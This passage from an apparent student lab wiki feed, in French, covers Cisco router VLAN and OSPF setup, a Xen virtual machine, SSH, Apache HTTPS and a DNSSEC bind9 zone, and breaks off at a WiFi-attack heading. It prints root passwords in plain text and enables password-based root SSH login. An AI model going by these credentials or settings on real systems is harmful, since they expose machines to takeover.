   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51615</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51615"/>
				<updated>2019-12-07T13:58:39Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
